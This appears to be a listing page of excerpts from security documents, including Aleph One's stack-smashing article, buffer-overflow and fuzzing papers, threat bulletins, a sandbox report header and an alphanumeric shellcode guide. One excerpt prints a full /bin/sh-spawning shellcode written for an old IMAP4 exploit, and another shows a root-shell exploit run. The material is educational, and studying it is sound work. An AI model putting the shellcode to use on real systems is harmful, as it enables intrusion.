Professional Mobile Espionage Attacks: Pegasus and Beyond
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Automated Malware Analysis Report for Shellcode.Exe
ID: 205432 Sample Name: shellcode.exe Cookbook: default.jbs Time: 00:40:30 Date: 04/02/2020 Version: 28.0.0 Lapis Lazuli Table of Contents Table of Contents 2 Analysis Report shellcode.exe 3 Overview 3 General Information 3 Detection 3 Confidence 3 Classification 4 Analysis Advice 4 Mitre Att&ck Matrix 5 Signature Overview 5 AV Detection: 5 System Summary: 5 Data Obfuscation: 5 Malware Configuration 5 Behavior Graph 5 Simulations 6 Behavior and APIs 6 Antivirus, Machine Learning and Genetic Malware Detection 6 Initial Sample 6 Dropped Files 6 Unpacked PE Files 6 Domains 6 URLs 6 Yara Overview 7 Initial Sample 7 PCAP (Network Traffic) 7 Dropped Files 7 Memory Dumps 7 Unpacked PEs 7 Sigma Overview 7 Joe Sandbox View / Context 7 IPs 7 Domains 7 ASN 7 JA3 Fingerprints 7 Dropped Files 7 Created / dropped Files 8 Domains and IPs 8 Contacted Domains 8 Contacted IPs 8 Static File Info 8 General 8 File Icon 8 Static PE Info 8 General 8 Entrypoint Preview 9 Data Directories 10 Sections 10 Imports 11 Network Behavior 11 Code Manipulations 11 Statistics 11 System Behavior 11 Disassembly 11 Copyright Joe Security LLC 2020 Page 2 of 11 Analysis Report shellcode.exe Overview General Information Joe Sandbox Version: 28.0.0 Lapis Lazuli Analysis ID: 205432 Start date: 04.02.2020 Start time: 00:40:30 Joe Sandbox Product: CloudBasic Overall analysis duration: 0h 2m 15s Hypervisor based Inspection enabled: false Report type: light Sample file name: shellcode.exe Cookbook file name: default.jbs Analysis system description: Windows 10 64 bit (version 1803) -
Smashing the Stack for Fun and Profit
Introduction Since the famous article "Smashing the Stack for fun and profit" by aleph1 there have been countless papers about buffer overflows, why then should there be another one? Because I have read most of them and they lack the specifics of the technique, why everything happens and how to react in case of a change and why you have to react. Most of the papers out there are really notes. I can say that this has been explicitly written as a formal paper. Examples are made and also live examples are done of the different techniques and they all should work, if they don't drop me an email, although they have been tested on Slackware 7.0, 7.1 and RedHat 6.0, 6.2 and 7.0, all examples have been revisited on Slackware 9.0, RedHat 8.0 and Mandrake 9.0, Windows 2000 and Solaris on SPARC architecture. During this chapter we will have some standards, I'll use and example to illustrate them: nahual@fscking$ ./exploit1 [ + ] Example 1 for The Tao of Buffer Overflows [ + ] [ + ] Coded by Enrique A. Sanchez Montellano [ + ] Using address 0xbffff9c0 [ + ] Starting exploitation... bash# id As you can see now we've exploited the program uid=0(root) gid=0(root) bash# So as you can see user input will have this type of font, the computer will have normal and comments will have this type of font. And the Tao was born. Functions like strcpy(), strcat(), gets(), sprintf() and all its derivates can be dangerous if not used with care. Why are they not used with care?, Books and classes are not taught with security in mind, the concept of buffer overflows is a concept that is solely for security consultants and hackers, being the first a ramification of the later as far as a lot of people are concerned, so you need special skills to find them and exploit them. -
A Review of Fuzzing Tools and Methods 1 Introduction
A Review of Fuzzing Tools and Methods James Fell, [email protected] Originally published in PenTest Magazine on 10th March 2017 1 Introduction Identifying vulnerabilities in software has long been an important research problem in the field of information security. Over the last decade, improvements have been made to programming languages, compilers and software engineering methods aimed at reducing the number of vulnerabilities in software [26]. In addition, exploit mitigation features such as Data Execution Prevention (DEP) [65] and Address Space Layout Randomisation (ASLR) [66] have been added to operating systems aimed at making it more difficult to exploit the vulnerabilities that do exist. Nevertheless, it is fair to say that all software applications of any significant size and complexity are still likely to contain undetected vulnerabilities and it is also frequently possible for skilled attackers to bypass any defences that are implemented at the operating system level [6, 7, 12, 66]. There are many classes of vulnerabilities that occur in software [64]. Ultimately they are all caused by mistakes that are made by programmers. Some of the most common vulnerabilities in binaries are stack based and heap based buffer overflows, integer overflows, format string bugs, off-by-one vulnerabilities, double free and use-after-free bugs [5]. These can all lead to an attacker hijacking the path of execution and causing his own arbitrary code to be executed by the victim. In the case of software running with elevated privileges this can lead to the complete compromise of the host system on which it is running. -
Network Security Project Buffer Overflow Exploitation
Network Security Project Buffer Overflow Exploitation Samuele Andreoli Nicol`oFornari Giuseppe Vitto Abstract In computer security a buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety. Buffer overflows can alter the way the program operates. This may result in erratic program be- havior, including memory access errors, incorrect results, crashes or a breach in system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited. [1] Buffer overflow is a complex and broad topic which requires a solid background in memory man- agement and code execution to be understood (i.e. registers, jumps, interrupts, stack frames). In this project we try to give a taste of stack-based buffer overflow putting our efforts into achieving a linear and relatively simple explanation of the topic. Report layout In Section 1 we describe all the technical details of our working environment. In Section 2 we recall some theoretical background about pointers, registers, etc. With Section 3 the lab starts: we briefly explain how the memory works by introducing gdb, which will be fundamental for the rest of the exercises 1. In Section 4 we present a first buffer overflow that allows the user to access a function which is not intended to be invoked. This is done by overwriting the value of a function pointer. In Section 5 we exploit a buffer overflow in order to execute a shellcode. The main reference for this part is the ground-breaking article Smashing The Stack For Fun And Profit by Aleph One [2]. -
The Art of Writing Shellcode, by Smiler
The Art of Writing Shellcode, by smiler. ---------------------------------------- Hopefully you are familiar with generic shell-spawning shellcode. If not read Aleph's text "Smashing The Stack For Fun And Profit" before reading further. This article will concentrate on the types of shellcode needed to exploit daemons remotely. Generally it is much harder to exploit remote daemons, because you do not have many ways of finding out the configuration of the remote server. Often the shellcode has to be much more complicated, which is what this article will focus on. I will start by looking at the ancient IMAP4 exploit. This is a fairly simple exploit. All you need to do is "hide" the /bin/sh" string in shellcode (imapd converts all lowercase characters into uppercase). None of the instructions in the generic shell-spawning shellcode contain lower-case characters, so you all you need do is change the /bin/sh string. It is the same as normal shellcode, except there is a loop which adds 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so even beginners can understand it. Sorry to all those asm virtuosos :] -----imap.S------- .globl main main: jmp call start: popl %ebx /* get address of /bin/sh */ movl %ebx,%ecx /* copy the address to ecx */ addb $0x6,%cl /* ecx now points to the last character */ loop: cmpl %ebx,%ecx jl skip /* if (ecx<ebx) goto skip */ addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */ decb %cl /* move the pointer down by one */ jmp loop skip: /* generic shell-spawning code */ movl %ebx,0x8(%ebx) xorl %eax,%eax movb %eax,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 xorl %eax,%eax inc %al int $0x80 call: call start .string "\x0f\x42\x49\x4e\x0f\x53\x48" -------------- This was a very simple variation on the generic shellcode and can be useful to mask characters that aren't allowed by the protocol the daemon uses. -
Cybercrime-As-A-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick
Cybercrime-as-a-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick Working Paper CISL# 2017-17 November 2017 Cybersecurity Interdisciplinary Systems Laboratory (CISL) Sloan School of Management, Room E62-422 Massachusetts Institute of Technology Cambridge, MA 02142 Cybercrime-as-a-Service: Identifying Control Points to Disrupt KEMAN HUANG, MICHAEL SIEGEL, and STUART MADNICK, Massachusetts Institute of Technology Cyber attacks are increasingly menacing businesses. Based on literature review and publicly available reports, this paper analyses the growing cybercrime business and some of the reasons for its rapid growth. A value chain model is constructed and used to describe 25 key value-added activities, which can be offered on the Dark Web as a service, i.e., “cybercrime-as-a-service,” for use in a cyber attack. Understanding the specialization, commercialization, and cooperation of these services for cyber attacks helps to anticipate emerging cyber attack services. Finally, this paper identifies cybercrime control-points that could be disrupted and strategies for assigning defense responsibilities to encourage collaboration. CCS Concepts: • General and reference Surveys and overviews; • Social and professional topics Computing and business; Socio-technical systems; Computer crime; • Security and privacy Social aspects of security and privacy; → → → Additional Key Words and Phrases: Cyber Attack Business; Value Chain Model; Cyber-crime-as-a-Service; Hacking Innovation; Control Point; Sharing Responsibility 1 INTRODUCTION “Where there is commerce, there is also the risk for cybercrime”[139]. Cybercrime is a tremendous threat to today’s digital society. It is extimated that the cost of cybercrime will grow from an annual sum of $3 trillion in 2015 to $6 trillion by the year 2021 [115]. -
Software Vulnerabilities Principles, Exploitability, Detection and Mitigation
Software vulnerabilities principles, exploitability, detection and mitigation Laurent Mounier and Marie-Laure Potet Verimag/Université Grenoble Alpes GDR Sécurité – Cyber in Saclay (Winter School in CyberSecurity) February 2021 Software vulnerabilities . are everywhere . and keep going . 2 / 35 Outline Software vulnerabilities (what & why ?) Programming languages (security) issues Exploiting a sofwtare vulnerability Software vulnerabilities mitigation Conclusion Example 1: password authentication Is this code “secure” ? boolean verify (char[] input, char[] passwd , byte len) { // No more than triesLeft attempts if (triesLeft < 0) return false ; // no authentication // Main comparison for (short i=0; i <= len; i++) if (input[i] != passwd[i]) { triesLeft-- ; return false ; // no authentication } // Comparison is successful triesLeft = maxTries ; return true ; // authentication is successful } functional property: verify(input; passwd; len) , input[0::len] = passwd[0::len] What do we want to protect ? Against what ? I confidentiality of passwd, information leakage ? I control-flow integrity of the code I no unexpected runtime behaviour, etc. 3 / 35 Example 2: make ‘python -c ’print "A"*5000’‘ run make with a long argument crash (in recent Ubuntu versions) Why do we need to bother about crashes (wrt. security) ? crash = consequence of an unexpected run-time error not trapped/foreseen by the programmer, nor by the compiler/interpreter ) some part of the execution: I may take place outside the program scope/semantics I but can be controled/exploited by an attacker (∼ “weird machine”) out of scope execution runtime error crash normal execution possibly exploitable ... security breach ! ,! may break all security properties ... from simple denial-of-service to arbitrary code execution Rk: may also happen silently (without any crash !) 4 / 35 Back to the context: computer system security what does security mean ? I a set of general security properties: CIA Confidentiality, Integrity, Availability (+ Non Repudiation + Anonymity + . -
Intrinsic Propensity for Vulnerability in Computers? Arbitrary Code Execution in the Universal Turing Machine
Intrinsic Propensity for Vulnerability in Computers? Arbitrary Code Execution in the Universal Turing Machine Pontus Johnson KTH Royal Institute of Technology Stockholm, Sweden [email protected] Abstract and Weyuker in [4], “Turing’s construction of a universal computer in 1936 provided reason to believe that, at least in The universal Turing machine is generally considered to be principle, an all-purpose computer would be possible, and the simplest, most abstract model of a computer. This paper was thus an anticipation of the modern digital computer.” Or, reports on the discovery of an accidental arbitrary code execu- in the words of Stephen Wolfram [16], ‘what launched the tion vulnerability in Marvin Minsky’s 1967 implementation whole computer revolution is the remarkable fact that uni- of the universal Turing machine. By submitting crafted data, versal systems with fixed underlying rules can be built that the machine may be coerced into executing user-provided can in effect perform any possible computation.” Not only code. The article presents the discovered vulnerability in de- the universality, but also the simplicity of the universal Tur- tail and discusses its potential implications. To the best of our ing machine has attracted interest. In 1956, Claude Shannon knowledge, an arbitrary code execution vulnerability has not explored some minimal forms of the universal Turing ma- previously been reported for such a simple system. chine [13], and posed the challenge to find even smaller such machines. That exploration has continued to this day [16]. 1 Introduction A common strategy for understanding a problem is to re- duce it to its minimal form. -
Security Threat Intelligence Report
Security Threat Intelligence Report December 2020 In this issue COVID-19 vaccine manufacturers and supply chain targeted RansomEXX ransomware targeting Linux systems Botnet targets Linux servers, Linux IoT devices NSA top 25 vulnerabilities exploited by Chinese APT groups VMware zero-day vulnerability exploited in the wild Security Threat Intelligence Report About this report Message from Mark Hughes Fusing a range of public and proprietary information feeds, Cyber criminals are opportunists, and including DXC’s global network with COVID-19 vaccines shipping in of security operations centers and cyber intelligence services, multiple countries, attackers are targeting this report delivers an overview manufacturers and their supply chains in an of major incidents, insights into effort to monetize ransomware attacks at key trends and strategic threat awareness. the worst possible time and steal intellectual property and patient data. This month’s report also documents This report is a part of DXC Labs | Security, which provides insights the expanding attacks against Linux, Windows, and internet of and thought leadership to the things (IoT) devices. Also, the SolarWinds hack is top of mind for security industry. everyone. This is a rapidly evolving situation, and we will share Intelligence cutoff date: more details next month. For the most up to date information, November 30, 2020 refer to CISA guidance. Mark Hughes Senior Vice President Offerings & Strategic Partners DXC Technology Table of Threat Updates contents RansomEXX ransomware targeting -
Check Point Threat Intelligence Bulletin
November 2-8, 2020 YOUR CHECK POINT THREAT INTELLIGENCE REPORT TOP ATTACKS AND BREACHES Check Point Research has alerted against a wave of ransomware attacks targeting Israeli companies and corporations, using known ransomware families such as REvil and Ryuk, as well as a new family called ‘Pay2Key’. The ransomware is capable of rapid lateral movement within the company network. Check Point SandBlast Agent provides protection against these threats (Ransomware.Win32.Pay2Key; Ransomware.Win32.REvil) Luxottica, the world's largest eyewear company, has admitted it has been breached. The giant’s appointment scheduling application has been hacked, leading to the exposure of protected health information (PHI) for patients of eye care practices such as LensCrafters, Target Optical and EyeMed. Japanese game developer Capcom has suffered a breach leading to the shutdown of some its systems, possibly by the Ragnar Locker ransomware. Attackers claim that 1TB of sensitive data has been stolen. Check Point SandBlast Agent provides protection against this threat (Ransomware.Win32.Ragnar) The Italian liquor company Campari Group has been hit by the Ragnar Locker ransomware, leading to the theft of 2TB of unencrypted files. The attackers are demanding a $15 million ransom to retrieve the files. Check Point Research has uncovered an attack operation targeting the Sangoma and Asterisk VoIP phone systems at nearly 1,200 organizations. The attackers, most likely located in Gaza and the West Bank, target SIP servers to execute telecom fraud, sell phone number and gain access to the organizations’ VoIP servers. Check Point IPS provides protection against this threat (SIPVicious Security Scanner; Sangoma FreePBX Authentication Bypass (CVE- 2019-19006); Command Injection Over HTTP) North Korean surveillance campaign targeting the aerospace and defense sectors in Australia, Israel, Russia and India is spreading a new spyware called Torisma via fake job offers sent through social media. -
Alphanumeric Shellcode
Alphanumeric shellcode Alphanumeric shellcode is similar to ascii shellcode in that it is used to bypass character filters and evade intrusion-detection during buffer overflow exploitation. This article documents alphanumeric code on multiple architectures, but primarily the 64 bit x86 architecture. Alphanumeric shellcode requires a basic understanding of bitwise math, assembly and shellcode. Contents 1 Available x86_64 instructions 2 Alphanumeric opcode compatibility 2.1 Alphanumeric inter-compatible x86 opcodes 2.2 15 byte architecture detection shellcode 3 Alphanumeric x86_64 register value and data manipulation 3.1 Push: alphanumeric x86_64 registers 3.2 Pop: alphanumeric x86_64 registers 3.3 Prefixes 3.4 Operands 3.5 The rbx, rsp, and rbp registers 3.6 Xor 3.7 The rsi and rdi registers 3.8 Example: Zeroing Out x86_64 CPU Registers 4 64 bit shellcode: Conversion to alphanumeric code 4.1 bof.c 4.2 Starting shellcode (64-bit execve /bin/sh) 4.3 Shellcode Analysis 4.4 Stack Analysis 4.5 The Offset 4.6 The Syscall 4.7 Arguments 4.7.1 Stack Space 4.7.2 Register Initialization 4.7.3 String Argument 4.7.4 Final Registers 4.8 Final Code 4.9 Successful Overflow Test Available x86_64 instructions This chart contains 64-bit alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available. Numeric ASCII Hex Assembler Instruction 0 0x30 xor %{16bit}, -
Smashing the Stack for Fun and Profit
.oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you Smashing The Stack For Fun And Profit Aleph One [email protected] Ásmash the stackÁ [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduction Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays.